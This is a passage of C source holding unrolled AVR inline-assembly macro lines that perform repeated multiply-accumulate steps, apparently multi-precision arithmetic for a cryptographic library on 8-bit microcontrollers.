9497 "adc r24, r1 \n\t" \
9498 "adc r22, r25 \n\t" \
9499 "ld r0, z \n\t" \
9500 "add r23, r0 \n\t" \
9501 "adc r24, r25 \n\t" \
9502 "adc r22, r25 \n\t" \
9503 "st z+, r23 \n\t" \
9504 \
9505 "ld r4, x+ \n\t" \
9506 "ldi r23, 0 \n\t" \
9507 "mul r5, r21 \n\t" \
9508 "add r24, r0 \n\t" \
9509 "adc r22, r1 \n\t" \
9510 "adc r23, r25 \n\t" \
9511 "mul r6, r20 \n\t" \
9512 "add r24, r0 \n\t" \
9513 "adc r22, r1 \n\t" \
9514 "adc r23, r25 \n\t" \
9515 "mul r7, r19 \n\t" \
9516 "add r24, r0 \n\t" \
9517 "adc r22, r1 \n\t" \
9518 "adc r23, r25 \n\t" \
9519 "mul r8, r18 \n\t" \
9520 "add r24, r0 \n\t" \
9521 "adc r22, r1 \n\t" \
9522 "adc r23, r25 \n\t" \
9523 "mul r9, r17 \n\t" \
9524 "add r24, r0 \n\t" \
9525 "adc r22, r1 \n\t" \
9526 "adc r23, r25 \n\t" \
9527 "mul r10, r16 \n\t" \
9528 "add r24, r0 \n\t" \
9529 "adc r22, r1 \n\t" \
9530 "adc r23, r25 \n\t" \
9531 "mul r11, r15 \n\t" \
9532 "add r24, r0 \n\t" \
9533 "adc r22, r1 \n\t" \
9534 "adc r23, r25 \n\t" \
9535 "mul r2, r14 \n\t" \
9536 "add r24, r0 \n\t" \
9537 "adc r22, r1 \n\t" \
9538 "adc r23, r25 \n\t" \
9539 "mul r3, r13 \n\t" \
9540 "add r24, r0 \n\t" \
9541 "adc r22, r1 \n\t" \
9542 "adc r23, r25 \n\t" \
9543 "mul r4, r12 \n\t" \
9544 "add r24, r0 \n\t" \
9545 "adc r22, r1 \n\t" \
9546 "adc r23, r25 \n\t" \
9547 "ld r0, z \n\t" \
9548 "add r24, r0 \n\t" \
9549 "adc r22, r25 \n\t" \
9550 "adc r23, r25 \n\t" \
9551 "st z+, r24 \n\t" \
9552 \
9553 "ld r5, x+ \n\t" \
9554 "ldi r24, 0 \n\t" \
9555 "mul r6, r21 \n\t" \
9556 "add r22, r0 \n\t" \
9557 "adc r23, r1 \n\t" \
9558 "adc r24, r25 \n\t" \
9559 "mul r7, r20 \n\t" \
9560 "add r22, r0 \n\t" \
9561 "adc r23, r1 \n\t" \
9562 "adc r24, r25 \n\t" \
9563 "mul r8, r19 \n\t" \
9564 "add r22, r0 \n\t" \
9565 "adc r23, r1 \n\t" \
9566 "adc r24, r25 \n\t" \
9567 "mul r9, r18 \n\t" \
9568 "add r22, r0 \n\t" \
9569 "adc r23, r1 \n\t" \
9570 "adc r24, r25 \n\t" \
9571 "mul r10, r17 \n\t" \
9572 "add r22, r0 \n\t" \
9573 "adc r23, r1 \n\t" \
9574 "adc r24, r25 \n\t" \
9575 "mul r11, r16 \n\t" \
9576 "add r22, r0 \n\t" \
9577 "adc r23, r1 \n\t" \
9578 "adc r24, r25 \n\t" \
9579 "mul r2, r15 \n\t" \
9580 "add r22, r0 \n\t" \
9581 "adc r23, r1 \n\t" \
9582 "adc r24, r25 \n\t" \
9583 "mul r3, r14 \n\t" \
9584 "add r22, r0 \n\t" \
9585 "adc r23, r1 \n\t" \
9586 "adc r24, r25 \n\t" \
9587 "mul r4, r13 \n\t" \
9588 "add r22, r0 \n\t" \
9589 "adc r23, r1 \n\t" \
9590 "adc r24, r25 \n\t" \
9591 "mul r5, r12 \n\t" \
9592 "add r22, r0 \n\t" \
9593 "adc r23, r1 \n\t" \
9594 "adc r24, r25 \n\t" \
9595 "ld r0, z \n\t" \
9596 "add r22, r0 \n\t" \
9597 "adc r23, r25 \n\t" \
9598 "adc r24, r25 \n\t" \
9599 "st z+, r22 \n\t" \
9600 \
9601 "ld r6, x+ \n\t" \
9602 "ldi r22, 0 \n\t" \
9603 "mul r7, r21 \n\t" \
9604 "add r23, r0 \n\t" \
9605 "adc r24, r1 \n\t" \
9606 "adc r22, r25 \n\t" \
9607 "mul r8, r20 \n\t" \
9608 "add r23, r0 \n\t" \
9609 "adc r24, r1 \n\t" \
9610 "adc r22, r25 \n\t" \
9611 "mul r9, r19 \n\t" \
9612 "add r23, r0 \n\t" \
9613 "adc r24, r1 \n\t" \
9614 "adc r22, r25 \n\t" \
9615 "mul r10, r18 \n\t" \
9616 "add r23, r0 \n\t" \
9617 "adc r24, r1 \n\t" \
9618 "adc r22, r25 \n\t" \
9619 "mul r11, r17 \n\t" \
9620 "add r23, r0 \n\t" \
9621 "adc r24, r1 \n\t" \
9622 "adc r22, r25 \n\t" \
9623 "mul r2, r16 \n\t" \
9624 "add r23, r0 \n\t" \
9625 "adc r24, r1 \n\t" \
9626 "adc r22, r25 \n\t" \
9627 "mul r3, r15 \n\t" \
9628 "add r23, r0 \n\t" \
9629 "adc r24, r1 \n\t" \
9630 "adc r22, r25 \n\t" \
9631 "mul r4, r14 \n\t" \
9632 "add r23, r0 \n\t" \
9633 "adc r24, r1 \n\t" \
9634 "adc r22, r25 \n\t" \
9635 "mul r5, r13 \n\t" \
9636 "add r23, r0 \n\t" \
9637 "adc r24, r1 \n\t" \
9638 "adc r22, r25 \n\t" \
9639 "mul r6, r12 \n\t" \
9640 "add r23, r0 \n\t" \
9641 "adc r24, r1 \n\t" \
9642 "adc r22, r25 \n\t" \
9643 "ld r0, z \n\t" \
9644 "add r23, r0 \n\t" \
9645 "adc r24, r25 \n\t" \
9646 "adc r22, r25 \n\t" \
9647 "st z+, r23 \n\t" \
9648 \
9649 "ld r7, x+ \n\t" \
9650 "ldi r23, 0 \n\t" \
9651 "mul r8, r21 \n\t" \
9652 "add r24, r0 \n\t" \
9653 "adc r22, r1 \n\t" \
9654 "adc r23, r25 \n\t" \
9655 "mul r9, r20 \n\t" \
9656 "add r24, r0 \n\t" \
9657 "adc r22, r1 \n\t" \
9658 "adc r23, r25 \n\t" \
9659 "mul r10, r19 \n\t" \
9660 "add r24, r0 \n\t" \
9661 "adc r22, r1 \n\t" \
9662 "adc r23, r25 \n\t" \
9663 "mul r11, r18 \n\t" \
9664 "add r24, r0 \n\t" \
9665 "adc r22, r1 \n\t" \
9666 "adc r23, r25 \n\t" \
9667 "mul r2, r17 \n\t" \
9668 "add r24, r0 \n\t" \
9669 "adc r22, r1 \n\t" \
9670 "adc r23, r25 \n\t" \
9671 "mul r3, r16 \n\t" \
9672 "add r24, r0 \n\t" \
9673 "adc r22, r1 \n\t" \
9674 "adc r23, r25 \n\t" \
9675 "mul r4, r15 \n\t" \
9676 "add r24, r0 \n\t" \
9677 "adc r22, r1 \n\t" \
9678 "adc r23, r25 \n\t" \
9679 "mul r5, r14 \n\t" \
9680 "add r24, r0 \n\t" \
9681 "adc r22, r1 \n\t" \
9682 "adc r23, r25 \n\t" \
9683 "mul r6, r13 \n\t" \
9684 "add r24, r0 \n\t" \
9685 "adc r22, r1 \n\t" \
9686 "adc r23, r25 \n\t" \
9687 "mul r7, r12 \n\t" \
9688 "add r24, r0 \n\t" \
9689 "adc r22, r1 \n\t" \
9690 "adc r23, r25 \n\t" \
9691 "ld r0, z \n\t" \
9692 "add r24, r0 \n\t" \
9693 "adc r22, r25 \n\t" \
9694 "adc r23, r25 \n\t" \
9695 "st z+, r24 \n\t" \
9696 \
9697 "ld r8, x+ \n\t" \
9698 "ldi r24, 0 \n\t" \
9699 "mul r9, r21 \n\t" \
9700 "add r22, r0 \n\t" \
9701 "adc r23, r1 \n\t" \
9702 "adc r24, r25 \n\t" \
9703 "mul r10, r20 \n\t" \
9704 "add r22, r0 \n\t" \
9705 "adc r23, r1 \n\t" \
9706 "adc r24, r25 \n\t" \
9707 "mul r11, r19 \n\t" \
9708 "add r22, r0 \n\t" \
9709 "adc r23, r1 \n\t" \
9710 "adc r24, r25 \n\t" \
9711 "mul r2, r18 \n\t" \
9712 "add r22, r0 \n\t" \
9713 "adc r23, r1 \n\t" \
9714 "adc r24, r25 \n\t" \
9715 "mul r3, r17 \n\t" \
9716 "add r22, r0 \n\t" \
9717 "adc r23, r1 \n\t" \
9718 "adc r24, r25 \n\t" \
9719 "mul r4, r16 \n\t" \
9720 "add r22, r0 \n\t" \
9721 "adc r23, r1 \n\t" \
9722 "adc r24, r25 \n\t" \
9723 "mul r5, r15 \n\t" \
9724 "add r22, r0 \n\t" \
9725 "adc r23, r1 \n\t" \
9726 "adc r24, r25 \n\t" \
9727 "mul r6, r14 \n\t" \
9728 "add r22, r0 \n\t" \
9729 "adc r23, r1 \n\t" \
9730 "adc r24, r25 \n\t" \
9731 "mul r7, r13 \n\t" \
9732 "add r22, r0 \n\t" \
9733 "adc r23, r1 \n\t" \
9734 "adc r24, r25 \n\t" \
9735 "mul r8, r12 \n\t" \
9736 "add r22, r0 \n\t" \
9737 "adc r23, r1 \n\t" \
9738 "adc r24, r25 \n\t" \
9739 "ld r0, z \n\t" \
9740 "add r22, r0 \n\t" \
9741 "adc r23, r25 \n\t" \
9742 "adc r24, r25 \n\t" \
9743 "st z+, r22 \n\t" \
9744 \
9745 "ld r9, x+ \n\t" \
9746 "ldi r22, 0 \n\t" \
9747 "mul r10, r21 \n\t" \
9748 "add r23, r0 \n\t" \
9749 "adc r24, r1 \n\t" \
9750 "adc r22, r25 \n\t" \
9751 "mul r11, r20 \n\t" \
9752 "add r23, r0 \n\t" \
9753 "adc r24, r1 \n\t" \
9754 "adc r22, r25 \n\t" \
9755 "mul r2, r19 \n\t" \
9756 "add r23, r0 \n\t" \
9757 "adc r24, r1 \n\t" \
9758 "adc r22, r25 \n\t" \
9759 "mul r3, r18 \n\t" \
9760 "add r23, r0 \n\t" \
9761 "adc r24, r1 \n\t" \
9762 "adc r22, r25 \n\t" \
9763 "mul r4, r17 \n\t" \
9764 "add r23, r0 \n\t" \
9765 "adc r24, r1 \n\t" \
9766 "adc r22, r25 \n\t" \
9767 "mul r5, r16 \n\t" \
9768 "add r23, r0 \n\t" \
9769 "adc r24, r1 \n\t" \
9770 "adc r22, r25 \n\t" \
9771 "mul r6, r15 \n\t" \
9772 "add r23, r0 \n\t" \
9773 "adc r24, r1 \n\t" \
9774 "adc r22, r25 \n\t" \
9775 "mul r7, r14 \n\t" \
9776 "add r23, r0 \n\t" \
9777 "adc r24, r1 \n\t" \
9778 "adc r22, r25 \n\t" \
9779 "mul r8, r13 \n\t" \
9780 "add r23, r0 \n\t" \
9781 "adc r24, r1 \n\t" \
9782 "adc r22, r25 \n\t" \
9783 "mul r9, r12 \n\t" \
9784 "add r23, r0 \n\t" \
9785 "adc r24, r1 \n\t" \
9786 "adc r22, r25 \n\t" \
9787 "ld r0, z \n\t" \
9788 "add r23, r0 \n\t" \
9789 "adc r24, r25 \n\t" \
9790 "adc r22, r25 \n\t" \
9791 "st z+, r23 \n\t" \
9792 \
9793 "ld r10, x+ \n\t" \
9794 "ldi r23, 0 \n\t" \
9795 "mul r11, r21 \n\t" \
9796 "add r24, r0 \n\t" \
9797 "adc r22, r1 \n\t" \
9798 "adc r23, r25 \n\t" \
9799 "mul r2, r20 \n\t" \
9800 "add r24, r0 \n\t" \
9801 "adc r22, r1 \n\t" \
9802 "adc r23, r25 \n\t" \
9803 "mul r3, r19 \n\t" \
9804 "add r24, r0 \n\t" \
9805 "adc r22, r1 \n\t" \
9806 "adc r23, r25 \n\t" \
9807 "mul r4, r18 \n\t" \
9808 "add r24, r0 \n\t" \
9809 "adc r22, r1 \n\t" \
9810 "adc r23, r25 \n\t" \
9811 "mul r5, r17 \n\t" \
9812 "add r24, r0 \n\t" \
9813 "adc r22, r1 \n\t" \
9814 "adc r23, r25 \n\t" \
9815 "mul r6, r16 \n\t" \
9816 "add r24, r0 \n\t" \
9817 "adc r22, r1 \n\t" \
9818 "adc r23, r25 \n\t" \
9819 "mul r7, r15 \n\t" \
9820 "add r24, r0 \n\t" \
9821 "adc r22, r1 \n\t" \
9822 "adc r23, r25 \n\t" \
9823 "mul r8, r14 \n\t" \
9824 "add r24, r0 \n\t" \
9825 "adc r22, r1 \n\t" \
9826 "adc r23, r25 \n\t" \
9827 "mul r9, r13 \n\t" \
9828 "add r24, r0 \n\t" \
9829 "adc r22, r1 \n\t" \
9830 "adc r23, r25 \n\t" \
9831 "mul r10, r12 \n\t" \
9832 "add r24, r0 \n\t" \
9833 "adc r22, r1 \n\t" \
9834 "adc r23, r25 \n\t" \
9835 "ld r0, z \n\t" \
9836 "add r24, r0 \n\t" \
9837 "adc r22, r25 \n\t" \
9838 "adc r23, r25 \n\t" \
9839 "st z+, r24 \n\t" \
9840 \
9841 "ld r11, x+ \n\t" \
9842 "ldi r24, 0 \n\t" \
9843 "mul r2, r21 \n\t" \
9844 "add r22, r0 \n\t" \
9845 "adc r23, r1 \n\t" \
9846 "adc r24, r25 \n\t" \
9847 "mul r3, r20 \n\t" \
9848 "add r22, r0 \n\t" \
9849 "adc r23, r1 \n\t" \
9850 "adc r24, r25 \n\t" \
9851 "mul r4, r19 \n\t" \
9852 "add r22, r0 \n\t" \
9853 "adc r23, r1 \n\t" \
9854 "adc r24, r25 \n\t" \
9855 "mul r5, r18 \n\t" \
9856 "add r22, r0 \n\t" \
9857 "adc r23, r1 \n\t" \
9858 "adc r24, r25 \n\t" \
9859 "mul r6, r17 \n\t" \
9860 "add r22, r0 \n\t" \
9861 "adc r23, r1 \n\t" \
9862 "adc r24, r25 \n\t" \
9863 "mul r7, r16 \n\t" \
9864 "add r22, r0 \n\t" \
9865 "adc r23, r1 \n\t" \
9866 "adc r24, r25 \n\t" \
9867 "mul r8, r15 \n\t" \
9868 "add r22, r0 \n\t" \
9869 "adc r23, r1 \n\t" \
9870 "adc r24, r25 \n\t" \
9871 "mul r9, r14 \n\t" \
9872 "add r22, r0 \n\t" \
9873 "adc r23, r1 \n\t" \
9874 "adc r24, r25 \n\t" \
9875 "mul r10, r13 \n\t" \
9876 "add r22, r0 \n\t" \
9877 "adc r23, r1 \n\t" \
9878 "adc r24, r25 \n\t" \
9879 "mul r11, r12 \n\t" \
9880 "add r22, r0 \n\t" \
9881 "adc r23, r1 \n\t" \
9882 "adc r24, r25 \n\t" \
9883 "ld r0, z \n\t" \
9884 "add r22, r0 \n\t" \
9885 "adc r23, r25 \n\t" \
9886 "adc r24, r25 \n\t" \
9887 "st z+, r22 \n\t" \
9888 \
9889 "ld r2, x+ \n\t" \
9890 "ldi r22, 0 \n\t" \
9891 "mul r3, r21 \n\t" \
9892 "add r23, r0 \n\t" \
9893 "adc r24, r1 \n\t" \
9894 "adc r22, r25 \n\t" \
9895 "mul r4, r20 \n\t" \
9896 "add r23, r0 \n\t" \
9897 "adc r24, r1 \n\t" \
9898 "adc r22, r25 \n\t" \
9899 "mul r5, r19 \n\t" \
9900 "add r23, r0 \n\t" \
9901 "adc r24, r1 \n\t" \
9902 "adc r22, r25 \n\t" \
9903 "mul r6, r18 \n\t" \
9904 "add r23, r0 \n\t" \
9905 "adc r24, r1 \n\t" \
9906 "adc r22, r25 \n\t" \
9907 "mul r7, r17 \n\t" \
9908 "add r23, r0 \n\t" \
9909 "adc r24, r1 \n\t" \
9910 "adc r22, r25 \n\t" \
9911 "mul r8, r16 \n\t" \
9912 "add r23, r0 \n\t" \
9913 "adc r24, r1 \n\t" \
9914 "adc r22, r25 \n\t" \
9915 "mul r9, r15 \n\t" \
9916 "add r23, r0 \n\t" \
9917 "adc r24, r1 \n\t" \
9918 "adc r22, r25 \n\t" \
9919 "mul r10, r14 \n\t" \
9920 "add r23, r0 \n\t" \
9921 "adc r24, r1 \n\t" \
9922 "adc r22, r25 \n\t" \
9923 "mul r11, r13 \n\t" \
9924 "add r23, r0 \n\t" \
9925 "adc r24, r1 \n\t" \
9926 "adc r22, r25 \n\t" \
9927 "mul r2, r12 \n\t" \
9928 "add r23, r0 \n\t" \
9929 "adc r24, r1 \n\t" \
9930 "adc r22, r25 \n\t" \
9931 "ld r0, z \n\t" \
9932 "add r23, r0 \n\t" \
9933 "adc r24, r25 \n\t" \
9934 "adc r22, r25 \n\t" \
9935 "st z+, r23 \n\t" \
9936 \
9937 "ld r3, x+ \n\t" \
9938 "ldi r23, 0 \n\t" \
9939 "mul r4, r21 \n\t" \
9940 "add r24, r0 \n\t" \
9941 "adc r22, r1 \n\t" \
9942 "adc r23, r25 \n\t" \
9943 "mul r5, r20 \n\t" \
9944 "add r24, r0 \n\t" \
9945 "adc r22, r1 \n\t" \
9946 "adc r23, r25 \n\t" \
9947 "mul r6, r19 \n\t" \
9948 "add r24, r0 \n\t" \
9949 "adc r22, r1 \n\t" \
9950 "adc r23, r25 \n\t" \
9951 "mul r7, r18 \n\t" \
9952 "add r24, r0 \n\t" \
9953 "adc r22, r1 \n\t" \
9954 "adc r23, r25 \n\t" \
9955 "mul r8, r17 \n\t" \
9956 "add r24, r0 \n\t" \
9957 "adc r22, r1 \n\t" \
9958 "adc r23, r25 \n\t" \
9959 "mul r9, r16 \n\t" \
9960 "add r24, r0 \n\t" \
9961 "adc r22, r1 \n\t" \
9962 "adc r23, r25 \n\t" \
9963 "mul r10, r15 \n\t" \
9964 "add r24, r0 \n\t" \
9965 "adc r22, r1 \n\t" \
9966 "adc r23, r25 \n\t" \
9967 "mul r11, r14 \n\t" \
9968 "add r24, r0 \n\t" \
9969 "adc r22, r1 \n\t" \
9970 "adc r23, r25 \n\t" \
9971 "mul r2, r13 \n\t" \
9972 "add r24, r0 \n\t" \
9973 "adc r22, r1 \n\t" \
9974 "adc r23, r25 \n\t" \
9975 "mul r3, r12 \n\t" \
9976 "add r24, r0 \n\t" \
9977 "adc r22, r1 \n\t" \
9978 "adc r23, r25 \n\t" \
9979 "ld r0, z \n\t" \
9980 "add r24, r0 \n\t" \
9981 "adc r22, r25 \n\t" \
9982 "adc r23, r25 \n\t" \
9983 "st z+, r24 \n\t" \
9984 \
9985 "ld r12, y+ \n\t" \
9986 "ldi r24, 0 \n\t" \
9987 "mul r4, r12 \n\t" \
9988 "add r22, r0 \n\t" \
9989 "adc r23, r1 \n\t" \
9990 "adc r24, r25 \n\t" \
9991 "mul r5, r21 \n\t" \
9992 "add r22, r0 \n\t" \
9993 "adc r23, r1 \n\t" \
9994 "adc r24, r25 \n\t" \
9995 "mul r6, r20 \n\t" \
9996 "add r22, r0 \n\t" \
9997 "adc r23, r1 \n\t" \
9998 "adc r24, r25 \n\t" \
9999 "mul r7, r19 \n\t" \
10000 "add r22, r0 \n\t" \
10001 "adc r23, r1 \n\t" \
10002 "adc r24, r25 \n\t" \
10003 "mul r8, r18 \n\t" \
10004 "add r22, r0 \n\t" \
10005 "adc r23, r1 \n\t" \
10006 "adc r24, r25 \n\t" \
10007 "mul r9, r17 \n\t" \
10008 "add r22, r0 \n\t" \
10009 "adc r23, r1 \n\t" \
10010 "adc r24, r25 \n\t" \
10011 "mul r10, r16 \n\t" \
10012 "add r22, r0 \n\t" \
10013 "adc r23, r1 \n\t" \
10014 "adc r24, r25 \n\t" \
10015 "mul r11, r15 \n\t" \
10016 "add r22, r0 \n\t" \
10017 "adc r23, r1 \n\t" \
10018 "adc r24, r25 \n\t" \
10019 "mul r2, r14 \n\t" \
10020 "add r22, r0 \n\t" \
10021 "adc r23, r1 \n\t" \
10022 "adc r24, r25 \n\t" \
10023 "mul r3, r13 \n\t" \
10024 "add r22, r0 \n\t" \
10025 "adc r23, r1 \n\t" \
10026 "adc r24, r25 \n\t" \
10027 "ld r0, z \n\t" \
10028 "add r22, r0 \n\t" \
10029 "adc r23, r25 \n\t" \
10030 "adc r24, r25 \n\t" \
10031 "st z+, r22 \n\t" \
10032 \
10033 "ld r13, y+ \n\t" \
10034 "ldi r22, 0 \n\t" \
10035 "mul r4, r13 \n\t" \
10036 "add r23, r0 \n\t" \
10037 "adc r24, r1 \n\t" \
10038 "adc r22, r25 \n\t" \
10039 "mul r5, r12 \n\t" \
10040 "add r23, r0 \n\t" \
10041 "adc r24, r1 \n\t" \
10042 "adc r22, r25 \n\t" \
10043 "mul r6, r21 \n\t" \
10044 "add r23, r0 \n\t" \
10045 "adc r24, r1 \n\t" \
10046 "adc r22, r25 \n\t" \
10047 "mul r7, r20 \n\t" \
10048 "add r23, r0 \n\t" \
10049 "adc r24, r1 \n\t" \
10050 "adc r22, r25 \n\t" \
10051 "mul r8, r19 \n\t" \
10052 "add r23, r0 \n\t" \
10053 "adc r24, r1 \n\t" \
10054 "adc r22, r25 \n\t" \
10055 "mul r9, r18 \n\t" \
10056 "add r23, r0 \n\t" \
10057 "adc r24, r1 \n\t" \
10058 "adc r22, r25 \n\t" \
10059 "mul r10, r17 \n\t" \
10060 "add r23, r0 \n\t" \
10061 "adc r24, r1 \n\t" \
10062 "adc r22, r25 \n\t" \
10063 "mul r11, r16 \n\t" \
10064 "add r23, r0 \n\t" \
10065 "adc r24, r1 \n\t" \
10066 "adc r22, r25 \n\t" \
10067 "mul r2, r15 \n\t" \
10068 "add r23, r0 \n\t" \
10069 "adc r24, r1 \n\t" \
10070 "adc r22, r25 \n\t" \
10071 "mul r3, r14 \n\t" \
10072 "add r23, r0 \n\t" \
10073 "adc r24, r1 \n\t" \
10074 "adc r22, r25 \n\t" \
10075 "ld r0, z \n\t" \
10076 "add r23, r0 \n\t" \
10077 "adc r24, r25 \n\t" \
10078 "adc r22, r25 \n\t" \
10079 "st z+, r23 \n\t" \
10080 \
10081 "ld r14, y+ \n\t" \
10082 "ldi r23, 0 \n\t" \
10083 "mul r4, r14 \n\t" \
10084 "add r24, r0 \n\t" \
10085 "adc r22, r1 \n\t" \
10086 "adc r23, r25 \n\t" \
10087 "mul r5, r13 \n\t" \
10088 "add r24, r0 \n\t" \
10089 "adc r22, r1 \n\t" \
10090 "adc r23, r25 \n\t" \
10091 "mul r6, r12 \n\t" \
10092 "add r24, r0 \n\t" \
10093 "adc r22, r1 \n\t" \
10094 "adc r23, r25 \n\t" \
10095 "mul r7, r21 \n\t" \
10096 "add r24, r0 \n\t" \
10097 "adc r22, r1 \n\t" \
10098 "adc r23, r25 \n\t" \
10099 "mul r8, r20 \n\t" \
10100 "add r24, r0 \n\t" \
10101 "adc r22, r1 \n\t" \
10102 "adc r23, r25 \n\t" \
10103 "mul r9, r19 \n\t" \
10104 "add r24, r0 \n\t" \
10105 "adc r22, r1 \n\t" \
10106 "adc r23, r25 \n\t" \
10107 "mul r10, r18 \n\t" \
10108 "add r24, r0 \n\t" \
10109 "adc r22, r1 \n\t" \
10110 "adc r23, r25 \n\t" \
10111 "mul r11, r17 \n\t" \
10112 "add r24, r0 \n\t" \
10113 "adc r22, r1 \n\t" \
10114 "adc r23, r25 \n\t" \
10115 "mul r2, r16 \n\t" \
10116 "add r24, r0 \n\t" \
10117 "adc r22, r1 \n\t" \
10118 "adc r23, r25 \n\t" \
10119 "mul r3, r15 \n\t" \
10120 "add r24, r0 \n\t" \
10121 "adc r22, r1 \n\t" \
10122 "adc r23, r25 \n\t" \
10123 "ld r0, z \n\t" \
10124 "add r24, r0 \n\t" \
10125 "adc r22, r25 \n\t" \
10126 "adc r23, r25 \n\t" \
10127 "st z+, r24 \n\t" \
10128 \
10129 "ld r15, y+ \n\t" \
10130 "ldi r24, 0 \n\t" \
10131 "mul r4, r15 \n\t" \
10132 "add r22, r0 \n\t" \
10133 "adc r23, r1 \n\t" \
10134 "adc r24, r25 \n\t" \
10135 "mul r5, r14 \n\t" \
10136 "add r22, r0 \n\t" \
10137 "adc r23, r1 \n\t" \
10138 "adc r24, r25 \n\t" \
10139 "mul r6, r13 \n\t" \
10140 "add r22, r0 \n\t" \
10141 "adc r23, r1 \n\t" \
10142 "adc r24, r25 \n\t" \
10143 "mul r7, r12 \n\t" \
10144 "add r22, r0 \n\t" \
10145 "adc r23, r1 \n\t" \
10146 "adc r24, r25 \n\t" \
10147 "mul r8, r21 \n\t" \
10148 "add r22, r0 \n\t" \
10149 "adc r23, r1 \n\t" \
10150 "adc r24, r25 \n\t" \
10151 "mul r9, r20 \n\t" \
10152 "add r22, r0 \n\t" \
10153 "adc r23, r1 \n\t" \
10154 "adc r24, r25 \n\t" \
10155 "mul r10, r19 \n\t" \
10156 "add r22, r0 \n\t" \
10157 "adc r23, r1 \n\t" \
10158 "adc r24, r25 \n\t" \
10159 "mul r11, r18 \n\t" \
10160 "add r22, r0 \n\t" \
10161 "adc r23, r1 \n\t" \
10162 "adc r24, r25 \n\t" \
10163 "mul r2, r17 \n\t" \
10164 "add r22, r0 \n\t" \
10165 "adc r23, r1 \n\t" \
10166 "adc r24, r25 \n\t" \
10167 "mul r3, r16 \n\t" \
10168 "add r22, r0 \n\t" \
10169 "adc r23, r1 \n\t" \
10170 "adc r24, r25 \n\t" \
10171 "ld r0, z \n\t" \
10172 "add r22, r0 \n\t" \
10173 "adc r23, r25 \n\t" \
10174 "adc r24, r25 \n\t" \
10175 "st z+, r22 \n\t" \
10176 \
10177 "ld r16, y+ \n\t" \
10178 "ldi r22, 0 \n\t" \
10179 "mul r4, r16 \n\t" \
10180 "add r23, r0 \n\t" \
10181 "adc r24, r1 \n\t" \
10182 "adc r22, r25 \n\t" \
10183 "mul r5, r15 \n\t" \
10184 "add r23, r0 \n\t" \
10185 "adc r24, r1 \n\t" \
10186 "adc r22, r25 \n\t" \
10187 "mul r6, r14 \n\t" \
10188 "add r23, r0 \n\t" \
10189 "adc r24, r1 \n\t" \
10190 "adc r22, r25 \n\t" \
10191 "mul r7, r13 \n\t" \
10192 "add r23, r0 \n\t" \
10193 "adc r24, r1 \n\t" \
10194 "adc r22, r25 \n\t" \
10195 "mul r8, r12 \n\t" \
10196 "add r23, r0 \n\t" \
10197 "adc r24, r1 \n\t" \
10198 "adc r22, r25 \n\t" \
10199 "mul r9, r21 \n\t" \
10200 "add r23, r0 \n\t" \
10201 "adc r24, r1 \n\t" \
10202 "adc r22, r25 \n\t" \
10203 "mul r10, r20 \n\t" \
10204 "add r23, r0 \n\t" \
10205 "adc r24, r1 \n\t" \
10206 "adc r22, r25 \n\t" \
10207 "mul r11, r19 \n\t" \
10208 "add r23, r0 \n\t" \
10209 "adc r24, r1 \n\t" \
10210 "adc r22, r25 \n\t" \
10211 "mul r2, r18 \n\t" \
10212 "add r23, r0 \n\t" \
10213 "adc r24, r1 \n\t" \
10214 "adc r22, r25 \n\t" \
10215 "mul r3, r17 \n\t" \
10216 "add r23, r0 \n\t" \
10217 "adc r24, r1 \n\t" \
10218 "adc r22, r25 \n\t" \
10219 "ld r0, z \n\t" \
10220 "add r23, r0 \n\t" \
10221 "adc r24, r25 \n\t" \
10222 "adc r22, r25 \n\t" \
10223 "st z+, r23 \n\t" \
10224 \
10225 "ld r17, y+ \n\t" \
10226 "ldi r23, 0 \n\t" \
10227 "mul r4, r17 \n\t" \
10228 "add r24, r0 \n\t" \
10229 "adc r22, r1 \n\t" \
10230 "adc r23, r25 \n\t" \
10231 "mul r5, r16 \n\t" \
10232 "add r24, r0 \n\t" \
10233 "adc r22, r1 \n\t" \
10234 "adc r23, r25 \n\t" \
10235 "mul r6, r15 \n\t" \
10236 "add r24, r0 \n\t" \
10237 "adc r22, r1 \n\t" \
10238 "adc r23, r25 \n\t" \
10239 "mul r7, r14 \n\t" \
10240 "add r24, r0 \n\t" \
10241 "adc r22, r1 \n\t" \
10242 "adc r23, r25 \n\t" \
10243 "mul r8, r13 \n\t" \
10244 "add r24, r0 \n\t" \
10245 "adc r22, r1 \n\t" \
10246 "adc r23, r25 \n\t" \
10247 "mul r9, r12 \n\t" \
10248 "add r24, r0 \n\t" \
10249 "adc r22, r1 \n\t" \
10250 "adc r23, r25 \n\t" \
10251 "mul r10, r21 \n\t" \
10252 "add r24, r0 \n\t" \
10253 "adc r22, r1 \n\t" \
10254 "adc r23, r25 \n\t" \
10255 "mul r11, r20 \n\t" \
10256 "add r24, r0 \n\t" \
10257 "adc r22, r1 \n\t" \
10258 "adc r23, r25 \n\t" \
10259 "mul r2, r19 \n\t" \
10260 "add r24, r0 \n\t" \
10261 "adc r22, r1 \n\t" \
10262 "adc r23, r25 \n\t" \
10263 "mul r3, r18 \n\t" \
10264 "add r24, r0 \n\t" \
10265 "adc r22, r1 \n\t" \
10266 "adc r23, r25 \n\t" \
10267 "ld r0, z \n\t" \
10268 "add r24, r0 \n\t" \
10269 "adc r22, r25 \n\t" \
10270 "adc r23, r25 \n\t" \
10271 "st z+, r24 \n\t" \
10272 \
10273 "ld r18, y+ \n\t" \
10274 "ldi r24, 0 \n\t" \
10275 "mul r4, r18 \n\t" \
10276 "add r22, r0 \n\t" \
10277 "adc r23, r1 \n\t" \
10278 "adc r24, r25 \n\t" \
10279 "mul r5, r17 \n\t" \
10280 "add r22, r0 \n\t" \
10281 "adc r23, r1 \n\t" \
10282 "adc r24, r25 \n\t" \
10283 "mul r6, r16 \n\t" \
10284 "add r22, r0 \n\t" \
10285 "adc r23, r1 \n\t" \
10286 "adc r24, r25 \n\t" \
10287 "mul r7, r15 \n\t" \
10288 "add r22, r0 \n\t" \
10289 "adc r23, r1 \n\t" \
10290 "adc r24, r25 \n\t" \
10291 "mul r8, r14 \n\t" \
10292 "add r22, r0 \n\t" \
10293 "adc r23, r1 \n\t" \
10294 "adc r24, r25 \n\t" \
10295 "mul r9, r13 \n\t" \
10296 "add r22, r0 \n\t" \
10297 "adc r23, r1 \n\t" \
10298 "adc r24, r25 \n\t" \
10299 "mul r10, r12 \n\t" \
10300 "add r22, r0 \n\t" \
10301 "adc r23, r1 \n\t" \
10302 "adc r24, r25 \n\t" \
10303 "mul r11, r21 \n\t" \
10304 "add r22, r0 \n\t" \
10305 "adc r23, r1 \n\t" \
10306 "adc r24, r25 \n\t" \
10307 "mul r2, r20 \n\t" \
10308 "add r22, r0 \n\t" \
10309 "adc r23, r1 \n\t" \
